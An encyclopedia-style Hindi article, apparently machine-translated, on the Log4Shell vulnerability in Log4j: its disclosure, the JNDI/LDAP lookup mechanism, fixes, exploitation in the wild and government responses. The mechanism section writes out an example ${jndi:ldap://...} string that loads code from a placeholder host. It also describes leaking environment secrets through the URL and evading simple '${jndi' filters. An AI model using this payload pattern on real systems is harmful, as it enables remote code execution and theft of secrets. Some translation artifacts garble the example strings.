Log4Shell
लॉग4शेल (सी. वी. ई.-2021-44228) लॉग4जे में एक शून्य-दिन की भेद्यता है, जो एक लोकप्रिय जावा लॉगिंग फ्रेमवर्क है, जिसमें मनमाना कोड निष्पादन शामिल है। इस भेद्यता पर 2013 से किसी का ध्यान नहीं गया था और 24 नवंबर 2021 को अलीबाबा क्लाउड की सुरक्षा टीम के चेन झाओजुन द्वारा निजी तौर पर अपाचे सॉफ्टवेयर फाउंडेशन को इसका खुलासा किया गया था, जिसमें लॉग4जे एक परियोजना है। 10 दिसंबर 2021 को एक आधिकारिक सी. वी. ई. पहचानकर्ता उपलब्ध कराए जाने से पहले, लूनासेक टीम के फ्री वॉर्टली द्वारा दिए गए "लॉग4शेल" नाम के साथ भेद्यता प्रसारित की गई, जिसका उपयोग शुरू में इस मुद्दे को ऑनलाइन ट्रैक करने के लिए किया गया था। अपाचे ने लॉग4शेल को 10 की सीवीएसएस गंभीरता रेटिंग दी, जो उच्चतम उपलब्ध अंक है। शोषण निष्पादित करने के लिए सरल था और अनुमान है कि सैकड़ों लाखों उपकरणों को प्रभावित करने की क्षमता थी। भेद्यता लॉग4जे के मनमाने एलडीएपी और जेएनडीआई सर्वरों को अनुरोधों की अनुमति देने का लाभ उठाती है, जिससे हमलावर सर्वर या अन्य कंप्यूटर पर मनमाने जावा कोड को निष्पादित कर सकते हैं, या संवेदनशील जानकारी लीक कर सकते हैं। इसकी प्रभावित सॉफ्टवेयर परियोजनाओं की एक सूची अपाचे सुरक्षा दल द्वारा प्रकाशित की गई है। प्रभावित वाणिज्यिक सेवाओं में अमेज़न वेब सर्विसेज, क्लाउडफ्लेयर, आईक्लाउड, माइनक्राफ्टः जावा एडिशन, स्टीम, टेनसेंट क्यूक्यू और कई अन्य शामिल हैं। विज़ और ईवाई के अनुसार, भेद्यता ने उद्यम क्लाउड वातावरण के 93 प्रतिशत को प्रभावित किया। भेद्यता के प्रकटीकरण को साइबर सुरक्षा विशेषज्ञों से कड़ी प्रतिक्रिया मिली। साइबर सुरक्षा कंपनी टेनबल ने कहा कि शोषण "अब तक की सबसे बड़ी, सबसे महत्वपूर्ण भेद्यता थी", आर्स टेक्निका ने इसे "यकीनन अब तक की सबसे गंभीर भेद्यता" कहा और द वाशिंगटन पोस्ट ने कहा कि सुरक्षा पेशेवरों द्वारा विवरण "सर्वनाश पर सीमा"। बैकग्राउंड लॉग4जे एक ओपन-सोर्स लॉगिंग फ्रेमवर्क है जो सॉफ्टवेयर डेवलपर्स को अपने अनुप्रयोगों के भीतर डेटा लॉग करने की अनुमति देता है। इस डेटा में उपयोगकर्ता का इनपुट शामिल हो सकता है। इसका उपयोग जावा अनुप्रयोगों, विशेष रूप से उद्यम सॉफ्टवेयर में सर्वव्यापी रूप से किया जाता है। मूल रूप से 2001 में सेकी गुलसी द्वारा लिखा गया, यह अब अपाचे सॉफ़्टवेयर फाउंडेशन की एक परियोजना अपाचे लॉगिंग सर्विसेज का हिस्सा है। साइबर सुरक्षा पर राष्ट्रपति ओबामा के आयोग के सदस्य टॉम केलरमैन ने अपाचे को "एक पुल के विशाल आधारों में से एक के रूप में वर्णित किया जो अनुप्रयोगों और कंप्यूटर वातावरण की दुनिया के बीच संयोजक ऊतक की सुविधा प्रदान करता है।" व्यवहार जावा नेमिंग एंड डायरेक्टरी इंटरफेस (जे. एन. डी. आई.) प्रोग्राम रनटाइम में जावा ऑब्जेक्ट्स को देखने की अनुमति देता है जो उनके डेटा के लिए एक रास्ता देता है। जे. एन. डी. आई. कई निर्देशिका इंटरफेस का लाभ उठा सकता है, जिनमें से प्रत्येक फाइलों को देखने की एक अलग योजना प्रदान करता है। इन इंटरफेस में लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल (एलडीएपी), एक गैर-जावा-विशिष्ट प्रोटोकॉल है जो स्थानीय या इंटरनेट पर कहीं भी उपयुक्त सर्वर से यूआरएल के रूप में ऑब्जेक्ट डेटा को पुनर्प्राप्त करता है। डिफ़ॉल्ट विन्यास में, स्ट्रिंग लॉग करते समय, लॉग4जे2 फॉर्म ${उपसर्गः नाम} के अभिव्यक्तियों पर स्ट्रिंग प्रतिस्थापन करता है। उदाहरण के लिए, टेक्स्टः ${जावाः संस्करण} को टेक्स्टः जावा संस्करण 1.7.0_67 में परिवर्तित किया जा सकता है। मान्यता प्राप्त अभिव्यक्तियों में से एक है ${jndi: <लुक्अप>}; एलडीएपी के माध्यम से होने वाली खोज को निर्दिष्ट करके, एक मनमाने यूआरएल से पूछताछ की जा सकती है और जावा ऑब्जेक्ट डेटा के रूप में लोड किया जा सकता है। उदाहरण के लिए, यदि इंटरनेट से जुड़ा हुआ है तो ${jndi: ldap:// مثال. com/फाइल} उस यू. आर. एल. से डेटा लोड करेगा। लॉग किए गए स्ट्रिंग को इनपुट करके, एक हमलावर सार्वजनिक यू. आर. एल. पर होस्ट किए गए दुर्भावनापूर्ण कोड को लोड और निष्पादित कर सकता है। भले ही डेटा का निष्पादन अक्षम हो, एक हमलावर अभी भी डेटा को पुनः प्राप्त कर सकता है-जैसे कि गुप्त पर्यावरण चर-उन्हें यू. आर. एल. में रखकर, जिस स्थिति में उन्हें प्रतिस्थापित किया जाएगा और हमलावर के सर्वर पर भेजा जाएगा। एल. डी. ए. पी. के अलावा, अन्य संभावित दोहन योग्य जे. एन. डी. आई. खोज प्रोटोकॉल में इसका सुरक्षित संस्करण एल. डी. ए. पी. एस., जावा रिमोट मेथड इन्वोकेशन (आर. एम. आई.), डोमेन नेम सिस्टम (डी. एन. एस.) और इंटरनेट इंटर-ओ. आर. बी. प्रोटोकॉल (आई. आई. ओ. पी.) शामिल हैं। क्योंकि एच. टी. टी. पी. अनुरोधों को अक्सर लॉग किया जाता है, एक सामान्य हमला वेक्टर एच. टी. टी. पी. अनुरोध यू. आर. एल. या आम तौर पर लॉग किए गए एच. टी. टी. पी. हेडर में दुर्भावनापूर्ण स्ट्रिंग को रख रहा है, जैसे कि उपयोगकर्ता-एजेंट। प्रारंभिक शमन में संभावित दुर्भावनापूर्ण सामग्री वाले किसी भी अनुरोध को अवरुद्ध करना शामिल था, जैसे कि ${jndi। इस तरह के मूल स्ट्रिंग मिलान समाधानों को अनुरोध को अस्पष्ट करके दरकिनार किया जा सकता हैः उदाहरण के लिए, जे अक्षर पर छोटे अक्षर का संचालन करने के बाद जे. एन. डी. आई. लुकअप में परिवर्तित किया जाएगा। यहां तक कि अगर कोई इनपुट, जैसे कि पहला नाम, तुरंत लॉग नहीं किया जाता है, तो इसे बाद में आंतरिक प्रसंस्करण के दौरान लॉग किया जा सकता है और इसकी सामग्री को निष्पादित किया जा सकता है। इस भेद्यता के लिए शमन सुधार 6 दिसंबर 2021 को जारी किए गए थे, भेद्यता प्रकाशित होने से तीन दिन पहले, लॉग4जे संस्करण 2.15.0-rc1 में। सुधार में सर्वर और प्रोटोकॉल को प्रतिबंधित करना शामिल था जिनका उपयोग खोज के लिए किया जा सकता है। शोधकर्ताओं ने एक संबंधित बग, सी. वी. ई.-2021-45046 की खोज की, जो कुछ गैर-डिफ़ॉल्ट विन्यासों में स्थानीय या दूरस्थ कोड निष्पादन की अनुमति देता है और इसे संस्करण 2.16.0 में ठीक किया गया था, जिसने जे. एन. डी. आई. और संदेश खोज के लिए समर्थन का उपयोग करके सभी सुविधाओं को अक्षम कर दिया। पुस्तकालय में दो और कमजोरियाँ पाई गईंः एक सेवा-निषेध हमला, जिसे सी. वी. ई.-2021-45105 के रूप में ट्रैक किया गया और जिसे 2.17.0 में तय किया गया; और एक दूरस्थ कोड निष्पादन भेद्यता, जिसे सी. वी. ई.-2021-44832 के रूप में ट्रैक किया गया और जिसे 2.17.1 में तय किया गया। पिछले संस्करणों के लिए, दोनों कमजोरियों को कम करने के लिए वर्ग org.apache.logging.log4j.core.lookup.JndiLookup को वर्गपथ से हटाने की आवश्यकता है। पुराने संस्करणों के लिए एक प्रारंभिक अनुशंसित सुधार प्रणाली गुण log4j2.formatMsgNoLookups को सही पर सेट करना था, लेकिन यह परिवर्तन CVE-2021-45046 के दोहन को नहीं रोकता है और बाद में कुछ मामलों में संदेश खोज को अक्षम नहीं करने के लिए पाया गया। जावा रनटाइम एनवायरनमेंट (जे. आर. ई.) के नए संस्करण भी रिमोट कोड को डिफ़ॉल्ट रूप से लोड होने से रोककर इस भेद्यता को कम करते हैं, हालांकि कुछ अनुप्रयोगों में अन्य अटैक वैक्टर अभी भी मौजूद हैं। कई विधियाँ और उपकरण प्रकाशित किए गए हैं जो निर्मित जावा पैकेजों में उपयोग किए जाने वाले कमजोर लॉग4जे संस्करणों का पता लगाने में मदद करते हैं। जहां संसाधनों की कमी या तीसरे पक्ष द्वारा प्रबंधित समाधानों जैसी विभिन्न बाधाओं के कारण अद्यतन संस्करणों को लागू करना संभव नहीं हुआ है, असुरक्षित तैनाती से आउटबाउंड नेटवर्क ट्रैफ़िक को फ़िल्टर करना कई लोगों के लिए प्राथमिक सहारा रहा है। एन. सी. सी. समूह और राष्ट्रीय साइबर सुरक्षा केंद्र (यूनाइटेड किंगडम) द्वारा इस दृष्टिकोण की सिफारिश की गई है, और यह गहराई से बचाव का एक उदाहरण है। इस तरह के निस्पंदन की प्रभावशीलता का प्रमाण फायरवॉल के साथ किए गए प्रयोगशाला प्रयोगों से मिलता है जो पुस्तकालय और जे. आर. ई. के कई पूर्ण या आंशिक रूप से कमजोर संस्करणों के साथ निकास यातायात को रोकने में सक्षम हैं। उपयोग शोषण हैकर्स को जावा का उपयोग करके कमजोर उपकरणों पर नियंत्रण हासिल करने की अनुमति देता है। कुछ हैकर्स क्रिप्टोक्यूरेंसी खनन, बॉटनेट बनाने, स्पैम भेजने, पिछले दरवाजे स्थापित करने और रैंसमवेयर हमलों जैसी अन्य अवैध गतिविधियों के लिए पीड़ितों के उपकरणों का उपयोग करने के लिए भेद्यता का उपयोग करते हैं। भेद्यता के प्रकटीकरण के बाद के दिनों में, चेक प्वाइंट ने हैकर्स द्वारा शुरू किए गए लाखों हमलों को देखा, कुछ शोधकर्ताओं ने प्रति मिनट सौ से अधिक हमलों की दर देखी, जिसके परिणामस्वरूप अंततः अंतरराष्ट्रीय स्तर पर 40 प्रतिशत से अधिक व्यावसायिक नेटवर्क पर हमलों का प्रयास किया गया। क्लाउडफ्लेयर के सी. ई. ओ. मैथ्यू प्रिंस के अनुसार, शोषण के उपयोग या परीक्षण के लिए सबूत सार्वजनिक रूप से प्रकट होने से नौ दिन पहले 1 दिसंबर के रूप में वापस जाते हैं। साइबर सुरक्षा फर्म ग्रेनोइस के अनुसार, कई आईपी पते उन सर्वरों की जांच करने के लिए वेबसाइटों को स्क्रैप कर रहे थे जिनमें भेद्यता थी। कई बॉटनेट ने भेद्यता के लिए स्कैनिंग शुरू कर दी, जिसमें 10 दिसंबर तक मुहस्टिक बॉटनेट के साथ-साथ मिराई और सुनामी भी शामिल थे। रैनसमवेयर समूह कोंटी को 17 दिसंबर को भेद्यता का उपयोग करते हुए देखा गया था। चीन और ईरान में कुछ राज्य प्रायोजित समूहों ने भी चेक प्वाइंट के अनुसार शोषण का उपयोग किया, लेकिन यह ज्ञात नहीं है कि शोषण का उपयोग इजरायल, रूस या संयुक्त राज्य अमेरिका द्वारा भेद्यता के प्रकटीकरण से पहले किया गया था या नहीं। चेक प्वाइंट ने कहा कि 15 दिसंबर 2021 को, ईरान समर्थित हैकर्स ने इजरायली व्यवसायों और सरकारी संस्थानों के नेटवर्क में घुसपैठ करने का प्रयास किया। प्रतिक्रिया और सरकारी प्रभाव संयुक्त राज्य अमेरिका में, साइबर सुरक्षा और अवसंरचना सुरक्षा एजेंसी (सी. आई. एस. ए.) के निदेशक, जेन ईस्टरली ने शोषण को "सबसे गंभीर में से एक के रूप में वर्णित किया जो मैंने अपने पूरे करियर में देखा है, यदि सबसे गंभीर नहीं है", यह समझाते हुए कि सैकड़ों लाखों उपकरण प्रभावित हुए थे और विक्रेताओं को सॉफ्टवेयर अपडेट को प्राथमिकता देने की सलाह दे रहे थे। संयुक्त राज्य सरकार द्वारा अनुबंधित नागरिक एजेंसियों के पास कमजोरियों को दूर करने के लिए 24 दिसंबर 2021 तक का समय था। 4 जनवरी को, संघीय व्यापार आयोग (एफ. टी. सी.) ने उन कंपनियों का पीछा करने का अपना इरादा बताया जो उपयोग किए गए लॉग4जे सॉफ्टवेयर को अद्यतन करने के लिए उचित कदम उठाने में विफल रहती हैं। व्हाइट हाउस की एक बैठक में, राष्ट्रीय सुरक्षा के लिए ओपन-सोर्स सॉफ्टवेयर के सुरक्षा रखरखाव के महत्व को स्पष्ट किया गया था-जिसे अक्सर कुछ स्वयंसेवकों द्वारा भी किया जाता है। जबकि कुछ ओपन-सोर्स परियोजनाओं पर कई नज़रें हैं, दूसरों के पास उनकी सुरक्षा सुनिश्चित करने वाले कई या कोई लोग नहीं हैं। जर्मनी के Bundesamt für Sicherheit in der Infर्मेशनटेक्निक (BSI) ने शोषण को एजेंसी के उच्चतम खतरे के स्तर पर होने के रूप में नामित किया, इसे "बेहद गंभीर खतरे की स्थिति" (अनुवादित) कहा। इसने यह भी बताया कि कई हमले पहले से ही सफल थे और शोषण की सीमा का आकलन करना मुश्किल था। नीदरलैंड के राष्ट्रीय साइबर सुरक्षा केंद्र (एन. सी. एस. सी.) ने असुरक्षित अनुप्रयोगों की एक निरंतर सूची शुरू की। कैनेडियन सेंटर फॉर साइबर सिक्योरिटी (सीसीसीएस) ने संगठनों से तत्काल कार्रवाई करने का आह्वान किया। कनाडा राजस्व एजेंसी ने शोषण के बारे में जानने के बाद अस्थायी रूप से अपनी ऑनलाइन सेवाओं को बंद कर दिया, जबकि क्यूबेक सरकार ने "निवारक उपाय" के रूप में अपनी लगभग 4,000 वेबसाइटों को बंद कर दिया। बेल्जियम के रक्षा मंत्रालय ने उल्लंघन के प्रयास का अनुभव किया और उसे अपने नेटवर्क के एक हिस्से को बंद करने के लिए मजबूर होना पड़ा। चीनी उद्योग और सूचना प्रौद्योगिकी मंत्रालय ने पहले सरकार को भेद्यता की रिपोर्ट करने में विफल रहने के लिए साइबर सुरक्षा खतरे के खुफिया भागीदार के रूप में अलीबाबा क्लाउड के साथ काम को छह महीने के लिए निलंबित कर दिया। विज़ और ईवाई द्वारा किए गए व्यवसाय अनुसंधान से पता चला है कि 93 प्रतिशत क्लाउड उद्यम वातावरण लॉग4शेल के प्रति संवेदनशील था। 7 प्रतिशत कमजोर कार्यभार इंटरनेट के संपर्क में हैं और व्यापक शोषण के प्रयासों के लिए प्रवण हैं। शोध के अनुसार, भेद्यता प्रकटीकरण के दस दिन बाद (20 दिसंबर 2021) मेघ वातावरण में औसतन केवल 45 प्रतिशत कमजोर कार्यभार को कम किया गया था। लॉग4शेल से अमेज़न, गूगल और माइक्रोसॉफ्ट क्लाउड डेटा प्रभावित हुए थे। माइक्रोसॉफ्ट ने विंडोज और एज़्योर ग्राहकों को दिसंबर 2021 तक लॉग4जे 'लॉग4शेल' दोष के लिए सिस्टम की जांच करने वाले राज्य-प्रायोजित और साइबर-आपराधिक हमलावरों को देखने के बाद सतर्क रहने के लिए कहा। मानव संसाधन प्रबंधन और कार्यबल प्रबंधन कंपनी यूकेजी, जो उद्योग के सबसे बड़े व्यवसायों में से एक है, को रैंसमवेयर हमले द्वारा लक्षित किया गया था जिसने बड़े व्यवसायों को प्रभावित किया था। यूकेजी ने कहा कि उसके पास इस घटना में लॉग4शेल के शोषण का कोई सबूत नहीं है, हालांकि साइबर सुरक्षा कंपनी रिकॉर्डेड फ्यूचर के विश्लेषक एलन लिस्का ने कहा कि संभवतः एक संबंध था। जैसे-जैसे बड़ी कंपनियों ने शोषण के लिए पैच जारी करना शुरू किया, छोटे व्यवसायों के लिए जोखिम बढ़ गया क्योंकि हैकर्स ने अधिक कमजोर लक्ष्यों पर ध्यान केंद्रित किया। गोपनीयता इंटरनेट से जुड़े कुछ व्यक्तिगत उपकरण, जैसे स्मार्ट टीवी और सुरक्षा कैमरे, शोषण के लिए असुरक्षित थे। निर्माता समर्थन बंद होने के कारण कुछ सॉफ़्टवेयर को कभी पैच नहीं मिल सकता है। विश्लेषण विश्व स्तर पर सभी कॉर्पोरेट नेटवर्कों में से लगभग आधे की सक्रिय रूप से जांच की गई है, जिसमें 24 घंटों के भीतर शोषण के 60 से अधिक प्रकारों का उत्पादन किया गया है। चेक प्वाइंट सॉफ्टवेयर टेक्नोलॉजीज ने एक विस्तृत विश्लेषण में स्थिति को "एक वास्तविक साइबर-महामारी" के रूप में वर्णित किया और नुकसान की संभावना को "अतुलनीय" के रूप में वर्णित किया। कई प्रारंभिक परामर्शों ने उन पैकेजों की मात्रा को बढ़ा-चढ़ाकर बताया जो कमजोर थे, जिससे गलत सकारात्मक परिणाम सामने आए। विशेष रूप से, "लॉग4जे-एपीआई" पैकेज को असुरक्षित के रूप में चिह्नित किया गया था, जबकि वास्तव में आगे के शोध से पता चला कि केवल मुख्य "लॉग4जे-कोर" पैकेज ही असुरक्षित था। इसकी पुष्टि मूल अंक सूत्र और बाहरी सुरक्षा शोधकर्ताओं दोनों द्वारा की गई थी। प्रौद्योगिकी पत्रिका वायर्ड ने लिखा है कि कई कमजोरियों के आसपास पिछले "प्रचार" के बावजूद, "लॉग4जे भेद्यता. कई कारणों से प्रचार पर खरा उतरती है।" पत्रिका बताती है कि लॉग4जे की व्यापकता, संभावित लक्ष्यों द्वारा भेद्यता का पता लगाना मुश्किल है और पीड़ितों को कोड संचारित करने में आसानी ने "गंभीरता, सरलता और व्यापकता का संयोजन बनाया है जिसने सुरक्षा समुदाय को परेशान कर दिया है।" वायर्ड ने लॉग4शेल का उपयोग करके हैकर्स के चरणों को भी रेखांकित किया; पहले भेद्यता का उपयोग करते हुए क्रिप्टोमाइनिंग समूह, डेटा दलाल फिर साइबर अपराधियों को "पैर" बेचते हैं, जो अंत में रैंसमवेयर हमलों, जासूसी और डेटा को नष्ट करने में संलग्न होते हैं। टेनबल के सी. ई. ओ. और यूनाइटेड स्टेट्स कंप्यूटर इमरजेंसी रेडीनेस टीम के संस्थापक निदेशक अमित योरान ने कहा, "[लॉग4शेल] अब तक की सबसे बड़ी, सबसे महत्वपूर्ण भेद्यता है", यह देखते हुए कि बग के तुरंत बाद परिष्कृत हमले शुरू हो गए थे, यह कहते हुए कि "हम पहले से ही इसे रैंसमवेयर हमलों के लिए लाभ उठाते हुए देख रहे हैं, जो, फिर से, एक बड़ी चेतावनी की घंटी होनी चाहिए। हमने लॉग4शेल का उपयोग करने वाले हमलावरों की रिपोर्ट भी देखी है जो फिरौती एकत्र करने की कोशिश किए बिना सिस्टम को नष्ट कर रहे हैं, जो एक काफी असामान्य व्यवहार है।" सोफोस के वरिष्ठ खतरे के शोधकर्ता शॉन गैलेगर ने कहा, "ईमानदारी से, यहाँ सबसे बड़ा खतरा यह है कि लोगों को पहले से ही पहुँच मिल गई है और वे बस उस पर बैठे हैं, और भले ही आप समस्या का समाधान करते हैं जो पहले से ही नेटवर्क में है। यह इंटरनेट के लंबे समय तक रहने वाला है। ब्लूमबर्ग न्यूज की एक रिपोर्ट के अनुसार, 2016 के साइबर सुरक्षा सम्मेलन में लॉग4जे सहित सॉफ्टवेयर के व्यापक वर्गों के कारनामों के बारे में चेतावनी दिए जाने के बाद अपाचे के डेवलपर्स को भेद्यता को ठीक करने में उनकी विफलता पर कुछ गुस्सा आया था। संदर्भ बाहरी लिंक लॉग4जे वेबसाइट कॉमन वल्नरेबिलिटीज एंड एक्सपोजर पेज नेशनल वल्नरेबिलिटीज डेटाबेस पेज सी. वी. ई.-2021-44228 से प्रभावित परियोजनाएं, इंजेक्शन कारनामों की गणना में अपाचे सुरक्षा दल 2021 द्वारा